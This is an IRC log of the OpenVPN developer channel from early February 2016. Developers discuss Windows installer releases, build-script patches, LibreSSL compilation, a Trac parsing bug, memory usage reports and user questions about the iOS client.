#openvpn-devel 18:40 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 260 seconds] 18:50 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 18:50 -!- mode/#openvpn-devel [+o andj] by ChanServ 20:56 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 23:48 -!- eliasp_ [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 23:51 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:51 -!- mode/#openvpn-devel [+o dazo] by ChanServ 23:52 -!- Netsplit *.net <-> *.split quits: @syzzer, @dazo_afk, @cron2, roentgen, eliasp, Eagle_Erwin --- Day changed Mon Feb 01 2016 00:01 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 00:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 00:03 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 01:41 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 01:43 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:43 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 01:43 <@cron2_> mornin' folks 01:43 <@cron2_> meeting tonight? 02:09 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 02:09 -!- s7r_ [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds] 02:34 <@mattock> I'm fine with having a meeting 03:22 <@mattock> I'll make a new Windows installer release today and fix the openvpn-build issues 03:28 <@cron2_> \o/ 03:53 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 03:59 -!- eliasp_ is now known as eliasp 04:00 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:00 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:58 <@cron2_> syzzer around? 07:04 <@mattock> smoketests passed for I002/I602 installers 07:06 <@cron2_> \o/ 07:13 <@mattock> new installers on the download page 07:18 <@mattock> looks like none of the OpenSSL vulnerabilities actually affected OpenVPN? 07:19 <@cron2_> this is how I read it 07:19 <@mattock> me too, because we don't do SSLv2 07:19 <@mattock> and the rest are related to 1.0.2 07:30 <@cron2_> if syzzer is still on vacation, we should do the meeting focused on windows topics - iservice, openvpnserv2, review of the service component of iservice, *service* repository and commit rules, all that 07:51 <@mattock> makes sense 07:53 <@mattock> I'll make an announcement, just finished the new installer release 08:58 <@syzzer> yes, I 08:58 <@syzzer> grr 08:58 <@syzzer> I'm around - it's just that I went away for a week, so work kind of piled up on my desk :p 09:06 <@mattock> yeah, a week is too little to assign the tasks to someone else 09:09 < mator> mattock, new installer wont continue until i stop openvpn service manually 09:09 < mator> (even if there's no current tunnels being used and openvpn-gui unloaded) 09:16 <@cron2_> syzzer: that's the punishment so you don't go and enjoy yourself too often 09:17 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 09:19 < SCHAAP137> Hi, I am using the 'openvpn-build' 09:19 < SCHAAP137> git repository, and it contains a subfolder 'generic/patches' 09:20 < SCHAAP137> i wrote a patch to change a few lines in openvpn-2.3.10/src/openvpn/ssl_openssl.c, and it applies fine when done manually, compilation succeeds 09:20 < SCHAAP137> however, when i place this .patch file in the folder it should go, 'openvpn-build/generic/patches', it is not being applied. 09:21 < SCHAAP137> Therefore, I was wondering, is there any guidelines or instructions for what a patch in that folder needs to adhere to? 09:22 < SCHAAP137> I think it's failing on the patchlevel, the paths mentioned in my .patch file, but until now I've been unable to pinpoint why it fails exactly 09:22 < SCHAAP137> Thanks in advance. 09:23 <@ecrist> SCHAAP137: as I was trying to tell you in the main channel, search for the generic/patches path in the configure or build scripts 09:23 < SCHAAP137> I have located the part of the build script, where the patching takes place, but it's quite obfuscated for me... I'm not an extremely experienced bash scripter, just a little 09:24 < SCHAAP137> i believe my patch file should be correct, but it clearly isn't 09:26 < SCHAAP137> and on the other hand, i cannot find _any_ example patches for this folder. Does it mean other people fail to understand it as well? 09:27 < SCHAAP137> it's just failing on the base path / patchlevel, i'm 100% sure, if someone could show an example of how it should be done, I would appreciate it enormously. 09:29 < SCHAAP137> this is the part of the build script where patching takes place: http://paste2.org/538INMdV 09:30 < SCHAAP137> as i understand, it does the following: it looks for .patch and .sh files in the patch dir, checks for a product name in the filename, removing the version number, compares this to a subdirectory in ${BUILDROOT} 09:31 < SCHAAP137> and if this matches, it applies the patch -p1 on the matched product name, which is dirname in ${BUILDROOT}. 09:31 < SCHAAP137> correct? 09:33 < SCHAAP137> this logic is not explained anywhere in the docs 09:33 < SCHAAP137> and i'm trying to follow it, but the patch is not being applied. 09:36 < SCHAAP137> If someone with a better understanding of the build script could explain to me what I'm doing wrong, i'd be very grateful. Breaking my head on it for the last 7 hours and no one seems to be able to help me yet. 09:39 < SCHAAP137> this is my patchfile, '001-openvpn.patch': http://fpaste.org/317145/45434091/ 09:39 < SCHAAP137> Thanks in advance... 09:45 < SCHAAP137> ecrist: if you need more information to be able to provide a useful answer, please let me know 09:51 < SCHAAP137> it doesn't seem to work as intended, but it's not explained anywhere either 09:53 <@cron2_> mattock is the one who understands 09:59 < SCHAAP137> i'm not in a hurry, just very eager to understand it. Then I can skip the manual copying of that file, when the patch works from the build script. :) 11:32 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Quit: WeeChat 1.3] 11:40 -!- dazo is now known as dazo_afk 12:19 < SCHAAP137> by jolly, it works now 12:19 < SCHAAP137> great 13:07 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 13:07 -!- mode/#openvpn-devel [+v janjust] by ChanServ 13:20 <+janjust> hi rasengan 13:23 < rasengan> hi janjust 13:23 < rasengan> :) 13:24 <+janjust> how're things at PIA? I've been trying to get in contact with steve for some time now 13:24 <+janjust> but the time difference seems to mess things up 13:31 -!- cron2_ is now known as cron2 13:35 < rasengan> pretty good janjust :) all good 13:36 <+janjust> everything's fine here, busy with work&openvpn at the same time :) 13:36 < rasengan> nice! 14:56 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: "What the bleep"] 14:58 <@plaisthos> hi rasengan 14:59 < rasengan> hey arne ;) 17:53 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Ping timeout: 245 seconds] 17:53 < SCHAAP137> allright, i forked openvpn-build and adjusted some things to allow LibreSSL compilation. It (cross-)compiles/links/executes without error as far as I've tested. 17:53 < SCHAAP137> https://github.com/OpenVPN/openvpn-build/compare/master...woohooyeah:master 17:53 <@vpnHelper> Title: Comparing OpenVPN:master...woohooyeah:master · OpenVPN/openvpn-build · GitHub (at github.com) 17:54 < SCHAAP137> The downside is, that I changed the buildscript itself as well. Changing build.vars for a regular OpenSSL source won't work anymore. 17:55 < SCHAAP137> A skilled bash scripter would probably know how to keep both options open, and just have the patchfile + build.vars altered. 18:10 < SCHAAP137> ${TARGET_ROOT} is not being picked up somehow in the ./configure part of LibreSSL, in the build script, for some reason 18:12 < SCHAAP137> the options from the buildscript seem to force "/lib" for --libdir, and LibreSSL doesn't like it (it tries the actual /lib, not a relative path), so i had to manually force ${OPENVPN_ROOT}/lib for successfull compilation 18:13 < SCHAAP137> the ./Configure script for regular OpenSSL somehow treats it as a relative path inside BUILD_ROOT 18:25 < mator> push ups time 19:02 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 23:12 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] --- Day changed Tue Feb 02 2016 02:54 -!- reators [~holger@2001:1a80:2000:2:208a:1fd5:e451:69eb] has joined #openvpn-devel 02:59 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 03:03 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 06:42 -!- s7r [~s7r@openvpn/user/s7r] has quit [Read error: Connection reset by peer] 06:42 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 06:43 <@mattock> syzzer: can you have a quick look at this openvpn-build patch: http://pastebin.ca/3363782 06:44 <@mattock> it fixs builds after openvpn/configure.ac cleanup by commit 31b0bebe 06:50 <@vpnHelper> RSS Update - wishlistfeed: High resolution menu bar icon for Mac? <http://forums.openvpn.net/topic20913.html> 07:25 <@mattock> both release/2.3 and master -based installers seem to pass the smoketests, so I guess the patch is fine 07:31 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 08:03 <@syzzer> mattock: looks good 08:04 <@mattock> syzzer: ok, great, I'll push it then! 08:19 <@cron2> one should clean up the GUI configure.ac next ... 09:08 <@d12fk> what's with it? 09:25 <@cron2> it seems to need OPENSSL_CRYPTO_CFLAGS instead of just OPENSSL_CFLAGS 09:25 <@cron2> (syzzer simplified that for openvpn configure.ac and mattock adjusted the openvpn-build, but the pastebin.ca above has a remark "the gui still needs it") 10:09 <@d12fk> the gui doesn't link libssl, just libcrypto if that matters 10:14 <@cron2> good point 10:17 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 10:42 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 11:00 <@mattock> yes, actually trying to pass OPENSSL_CFLAGS to openvpn-gui as OPENSSL_CRYPTO_FLAGS caused an interesting breakage 13:15 -!- Netsplit *.net <-> *.split quits: ValdikSS, mator 13:23 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 13:32 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 14:02 -!- ValdikSS [~valdikss@95.215.45.33] has joined #openvpn-devel 14:25 < ValdikSS> cron2: I broke https://community.openvpn.net/openvpn/ticket/648 14:41 <@cron2> ValdikSS: you pasted a bit much :-) 14:42 <@cron2> oh, that one 14:42 <@cron2> mattock/ecrist to the rescue 14:54 <@vpnHelper> RSS Update - tickets: #648: Cant add WFP filter being fatal <https://community.openvpn.net/openvpn/ticket/648> 14:56 <@mattock> it seems fixing this is a bit more tricky than usual, because the problem is in the comments 14:56 <@mattock> <> I suspect 14:58 <@mattock> hmm, I don't feel like breaking Trac entirely at this hour, so I refrain from fixing this right now 14:58 <@mattock> tomorrow then 15:05 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 15:11 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 15:48 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 15:50 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 18:26 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 21:28 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Remote host closed the connection] --- Day changed Wed Feb 03 2016 00:15 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 240 seconds] 00:37 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 01:35 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 02:50 <@mattock> well that was a hassle to fix: https://community.openvpn.net/openvpn/ticket/648 02:50 <@vpnHelper> Title: #648 (Cant add WFP filter being fatal) – OpenVPN Community (at community.openvpn.net) 02:57 <@cron2> what happened? 03:07 <@mattock> a comment had <link-to-installer> and the Genshi parser does not like it 03:07 <@mattock> I'll check if that can be solved, because that's not a very unusual use-case 03:21 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Read error: Connection reset by peer] 03:28 <@mattock> this may have been fixed in a later Trac version, but that's not certain 03:28 <@mattock> I'll have to upgrade the entire node soonish, so I'll just fix any problems that arise manually 03:38 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:38 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:38 -!- dazo_afk is now known as dazo 04:49 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 04:53 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 09:51 -!- dazo is now known as dazo_afk 10:45 -!- esde [~something@openvpn/user/esde] has quit [Ping timeout: 276 seconds] 10:54 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 11:41 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 18:01 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Read error: Connection reset by peer] 18:44 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 245 seconds] 18:47 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 19:11 -!- riddle [riddle@76.72.170.57] has quit [Ping timeout: 256 seconds] 21:17 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 21:40 <@ecrist> ping mattock 22:07 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 272 seconds] 22:13 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 22:15 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 22:16 -!- woodrow [sid13914@gateway/web/irccloud.com/x-clzzqtrvcofysqpk] has quit [Ping timeout: 260 seconds] 22:16 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 22:17 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:17 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 22:19 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 22:20 -!- woodrow [sid13914@gateway/web/irccloud.com/x-zykpvwbbpuooqqwc] has joined #openvpn-devel 22:22 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 263 seconds] 22:22 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 22:27 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 22:49 -!- arlen [~arlen@jarvis.arlen.io] has quit [Remote host closed the connection] 23:16 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Thu Feb 04 2016 00:25 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 264 seconds] 00:32 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 01:02 <@mattock> ecrist: pong 01:24 <@mattock> hmm, interesting claim regarding the Windows installer 02:17 <@mattock> it's obviously not valid, because if it was, we would have received dozens or hundreds of reports already 02:17 <@mattock> I'll check it anyways, and report back to the guy 03:00 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:00 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 03:24 <@cron2_> mattock: I'd upload the .exe to virustotal and see what they say... false positives do happen 03:24 <@cron2_> ah 03:24 <@mattock> cron2: I did that already 03:24 <@cron2_> you're faster... 03:24 <@cron2_> yes, I saw your mail right after I typed this here :-) 04:43 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 04:47 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 07:58 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 08:04 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 08:05 <@ecrist> mattock: still here? 08:15 -!- dazo_afk is now known as dazo 09:16 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 09:24 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 09:27 <@mattock> ecrist: yeah, now I am 09:30 <@ecrist> I was poking at LDAP last night 09:31 <@ecrist> I couldn't find anything in the directory. 09:31 <@ecrist> Did it move? 09:32 <@ecrist> ah, yes it did 09:33 <@ecrist> there must still be an old server running on .1 09:33 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 09:33 <@mattock> yeah, the old server is still running 09:34 <@ecrist> ok, thanks. 09:39 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 10:33 -!- dazo is now known as dazo_afk 12:10 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 13:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has left #openvpn-devel [] 13:01 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:01 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:20 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 14:44 -!- floppym_ [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 14:51 -!- Netsplit *.net <-> *.split quits: floppym, esde 17:46 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 22:02 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 22:18 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 22:31 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 22:33 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 22:35 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Client Quit] 22:38 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Fri Feb 05 2016 02:02 <@vpnHelper> RSS Update - gitrepo: Fix undefined signed shift overflow <https://github.com/OpenVPN/openvpn/commit/d4d5d9259aeba152d5969fea048267fc97ca7530> 02:26 -!- cron2_ is now known as cron2 02:31 <@vpnHelper> RSS Update - gitrepo: interactive service v3 <https://github.com/OpenVPN/openvpn/commit/a24dd2e31f196c76594666f37c130817402acb15> 02:37 <@cron2> so... work for mattock, snair and d12fk to make this "complete"... 02:38 <@cron2> ... and work for syzzer, plaisthos and me to get AEAD in... 02:38 <@cron2> ... and then we're really close to 2.4 02:47 -!- TimSmall [~tim@ipv6test5.plus.com] has quit [Read error: Connection reset by peer] 03:03 <@mattock> wow, finally it is in 03:03 <@mattock> I supposea \o/ is in place 03:08 <@cron2> \o\ \o/ /o/ 03:08 <@cron2> :) 03:20 <@cron2> mattock: can you poke the operator of the arch buildbot again, please, to install a current polarssl version? it fails every single time and I find that bordering on uselessness - I do actually check why I receive buildbot fail mails, so they should be meaningful 03:49 <@plaisthos> cron2: and someone to review the timeout patch *ducks* 03:50 <@cron2> plaisthos: oh dear. That one totally slipped my mind. If it's reminding time, what about --push-remove v2? ;-) 03:50 <@cron2> but yeah, timeout patch, client-NAT patch 03:53 <@plaisthos> oh 03:53 <@plaisthos> I still have to look at that 04:41 <@plaisthos> there is also still the code reformating before 2.4 04:52 -!- ValdikSS [~valdikss@95.215.45.33] has quit [Quit: Bye!] 05:03 -!- valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel 07:28 <@vpnHelper> RSS Update - tickets: #660: Suggested source Code changes to avoid fragmentation by the network stack when using UDP transport <https://community.openvpn.net/openvpn/ticket/660> 07:36 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 07:39 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 07:44 < valdikss> Oh my, guys, OpenVPN is leaking RAM on my server 07:45 < valdikss> 229 MB RES with 23 connected users 07:59 <@syzzer> valdikss: which version / platform? 07:59 < valdikss> syzzer: 2.3.7, Debian 07:59 < valdikss> syzzer: OpenVZ with swap. Restarted it with ulimit -s 1024, will see how it goes. 08:23 <@cron2> I have heard such reports, but can't reproduce it - my openvpns (master of half a year ago) run since ~4 months and ar up to 30M and 35M now - not as many concurrent users, but up to 10-12 is not uncommon, and quite a bit amount of churn 08:52 -!- floppym_ is now known as floppym 09:16 -!- reators [~holger@2001:1a80:2000:2:208a:1fd5:e451:69eb] has quit [Quit: Leaving.] 12:29 < valdikss> http://anti-reversing.com/Downloads/Sec_Research/NDI5aster.pdf 13:26 < valdikss> Guys, ip-win32 ipapi does't set DNS 13:29 < valdikss> Oh, I see, that's written in man page 13:33 < valdikss> https://github.com/ValdikSS/openvpn-fix-dns-leak-plugin/issues/10 13:33 <@vpnHelper> Title: Not compatible with ip-win32 ipapi · Issue #10 · ValdikSS/openvpn-fix-dns-leak-plugin · GitHub (at github.com) 13:55 <@cron2> too many combinations of options 15:41 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 16:32 -!- PhrozenByte [~daniel@p200300764E2C920080DCA1A432FB43D5.dip0.t-ipconnect.de] has joined #openvpn-devel 18:11 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 18:18 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 20:36 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 21:12 -!- PhrozenByte [~daniel@p200300764E2C920080DCA1A432FB43D5.dip0.t-ipconnect.de] has quit [Quit: Leaving.] 22:31 -!- luckman212 is now known as luckman212_ 22:32 -!- luckman212_ is now known as luckman212__ 22:32 -!- luckman212__ is now known as luckman212_phone --- Day changed Sat Feb 06 2016 04:54 -!- PhrozenByte [~daniel@p200300764E09050009098EC0B5D21B5B.dip0.t-ipconnect.de] has joined #openvpn-devel 04:54 -!- PhrozenByte [~daniel@p200300764E09050009098EC0B5D21B5B.dip0.t-ipconnect.de] has quit [Client Quit] 05:12 -!- PhrozenByte [~daniel@p200300764E09050009098EC0B5D21B5B.dip0.t-ipconnect.de] has joined #openvpn-devel 06:22 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 06:44 < PhrozenByte> Hi, is it a known issue that a client's status file mixes up read and write statistics? Concretely, incoming traffic increases "TUN/TAP write bytes" and "TCP/UDP read bytes". Or is there a deeper meaning I can't see? (btw, I wasn't able to find ANY docs about the status file formats...) 06:45 <@cron2> well, reading from UDP means writing to the TUN/TAP driver, so that's perfectly right... 06:45 <@cron2> network-->tcp/udp-->openvpn-->tun/tap-->kernel 06:45 <@cron2> read on one side = write on the other side 06:46 < PhrozenByte> ah, ic, I thought that's inside/outside tunnel 06:46 <@cron2> it is 06:47 <@cron2> (but "inside" is "after processing, then shoving out") 06:48 <@cron2> as for whether documentation exists - no idea, sorry 06:49 < PhrozenByte> ic, it's about OpenVPNs perspective. not what I expect in the first place, but makes sense. regarding docs, didn't found anything, the manpage just states that OpenVPN creates some status file ^^ 06:52 < PhrozenByte> thanks cron2, I'll take this into account 09:33 -!- PhrozenByte [~daniel@p200300764E09050009098EC0B5D21B5B.dip0.t-ipconnect.de] has left #openvpn-devel [] 20:49 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 23:09 -!- luckman212_phone [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] --- Day changed Sun Feb 07 2016 05:17 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 06:38 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 10:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 10:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:16 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 10:17 -!- dazo_afk is now known as dazo 11:38 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 11:40 -!- lev__ [~lev@stipakov.fi] has quit [Quit: leaving] 11:41 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 12:33 -!- leobasilio [~Leonardo@189.63.26.183] has joined #openvpn-devel 12:34 < leobasilio> hello. i'm new here and i'm trying to submit a patch to the mailing list, but it says i'm not allowed to post there. what should i do? 12:40 <@syzzer> once you're registered to the list, you should be able to send mails afaik 12:40 < leobasilio> but i don't want to follow the list. is there any setting for this? 12:42 <@syzzer> I'm not sure, but if you send a patch you'll probably want to follow the list to keep track of the follow-up? 12:43 < leobasilio> right =) 12:44 < leobasilio> just subscribed. i'll try to send again. thank you. 12:48 -!- leobasilio [~Leonardo@189.63.26.183] has quit [Quit: Leaving] 13:36 -!- valdikss [~valdikss@95.215.45.33] has quit [Quit: Bye!] 13:37 -!- valdikss [~valdikss@2a02:7aa0:1619::2c32:9c23] has joined #openvpn-devel 13:54 <@cron2> whee, patch time 13:56 <@syzzer> yes, finally! 13:56 <@syzzer> there should also be an introduction-mail, but I that did not make it to my own mailbox yet... 13:57 <@cron2> it will eventually show up :-) 13:57 * cron2 is not going to work on it tonight - this is heavy stuff and I have a cold... brain is not working well... 13:58 <@syzzer> well, I didn't really expect that anyway at this time ;) 13:59 <@syzzer> but having a cold will definitely not help... 13:59 <@cron2> some day we need to start working on this, and "today" is generally a good day :-) - except for the cold 13:59 <@cron2> indeed 13:59 * cron2 got the introduction mail :) 14:00 <@syzzer> ah, good 14:04 <@cron2> mmmh, 10/10 is still "first draft" version, with the 14:04 <@cron2> + if (session->opt->server) 14:04 <@cron2> + buf_printf(&out, "IV_NCP=2\n"); 14:04 <@cron2> bit, which shouldn't be there 14:04 <@cron2> (besides the fact that it#s clearly tagged as preliminary) 14:05 <@cron2> ... and thanks for fixing the safe_cap handling for peer-id... I noticed this but forgot to poke lev__ again about it 14:07 <@cron2> TV now, and hot lemon... 14:15 <@syzzer> re 10/10: it's not really needed to make it work, but if you specifiy --push-peer-info 2 at the server side, it should send all the IV_ stuff, which in this case should include IV_NCP I think? 14:16 <@syzzer> re hot lemon: get well soon :) 14:24 -!- wallbroken [wallbroken@gateway/shell/bnc4free/x-lnlgqucunrovshzb] has joined #openvpn-devel 14:34 < lev__> what is the thing about safe_cap? asking for a friend.. 14:48 < lev__> ah, interactive service patch knocked out MSVC compilation 15:31 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 15:54 <@cron2> lev__: adding peer-id to the PUSH_REPLY message doesn't check whether enough buffer space is available - I mentioned this when I stumbled across it, but forgot to keep track of it. 15:54 <@cron2> lev__: as for MSVC, I someone am not surprised... the structure initialization stuff looks pretty advanced :) 15:55 <@cron2> syzzer: well, the whole thing about server->client peer-info is less than clear to me - the server could send this information, but there is no way the client can react to it, so I'd just leave it out 16:03 < lev__> MSVC - at least project files were not updated. Also learned that one VS2013-compiled apps do not run on XP. 16:09 <@cron2> lev__: oops, sorry about that. *This* I should have caught (since I saw the changes to Makefile.am) 16:10 <@cron2> if you send a patch for the proj stuff, I can just ACK+merge it (tomorrow, bed soon) 16:15 < lev__> yeah I can do that, likely tomorrow 16:19 <@cron2> thanks 16:34 < wallbroken> cron2, are you here? 16:35 < wallbroken> https://community.openvpn.net/openvpn/ticket/614 16:35 <@vpnHelper> Title: #614 (Connect on iOS 9: IPv4 routing doesn't work with dual-stack) – OpenVPN Community (at community.openvpn.net) 16:35 < wallbroken> do you know if that's a bug or only a normal behaviour? 18:23 -!- wallbroken [wallbroken@gateway/shell/bnc4free/x-lnlgqucunrovshzb] has quit [Ping timeout: 276 seconds] 18:33 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 19:13 -!- wallbroken [~wallbroke@gateway/shell/bnc4free/x-reymahqqodkosqjc] has joined #openvpn-devel 22:42 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer] 22:43 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel --- Day changed Mon Feb 08 2016 01:10 < valdikss> wallbroken: that's iOS 9 bug as far as we know 01:48 < wallbroken> valdikss, but openvpn connect for ios 9 is still in developing? 01:48 < wallbroken> the last update is in 2014 01:48 < wallbroken> two years ago 01:49 <@cron2> James is still working on it, and there are newer (closed) betas 01:49 <@cron2> since releasing for iOS is complicated and time-consuming, he's releasing Android more frequently 01:50 < wallbroken> ok, i have a question: is there some way to put pass.txt file directly in .ovpn file as for certificates? 01:50 <@cron2> not yet... there's a patch floating aroudn to permit 01:50 <@cron2> <auth-user-pass> 01:50 <@cron2> user 01:50 <@cron2> pass 01:50 <@cron2> </auth-user-pass> 01:50 < wallbroken> yes 01:50 < wallbroken> in 1.0.5 works? 01:51 <@cron2> but it does not apply to git master, and the person who worked on this (andj) is too busy 01:51 <@cron2> no idea about Connect, this is talking about community openvpn 01:51 <@cron2> for connect, I think this is not supported yet, but give it a try... 01:52 < wallbroken> ok, i'll try 01:52 < wallbroken> and how about "raise keyboard" setting? 01:52 < wallbroken> looks like unuseful 01:53 < wallbroken> the behaviour is the same with or without the setting enabled 01:53 <@cron2> no idea what that does 01:53 < wallbroken> raises soft keyboard when you need to put an input 01:54 < wallbroken> Raise Keyboard — When ON, the app will try to raise the iOS soft keyboard whenever an input field is selected 01:55 <@cron2> maybe it's a workarund for some bugs where the keyboard does not always appear otherwise... but that's just guessing, I'm not involved in the GUI side of iOS (I only help testing the network side every now and then) 01:56 < wallbroken> and also another question: with new release coming, you will need to create an autologin profile the same to activate the vpn from settings.app ? 01:56 < wallbroken> or it will work also with normal credentials filled in the UI 01:56 < wallbroken> ? 02:21 -!- reators [~holger@2001:1a80:2000:2:683d:248d:7d5:85ab] has joined #openvpn-devel 02:48 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 06:10 <@plaisthos> the whole autologin stuff is more OpenVPN AS/Connect specific 06:10 <@plaisthos> most of us community member have no idea how it works 06:14 < wallbroken> plaisthos, ok, and you know something about "raise keyboard" option ? 06:14 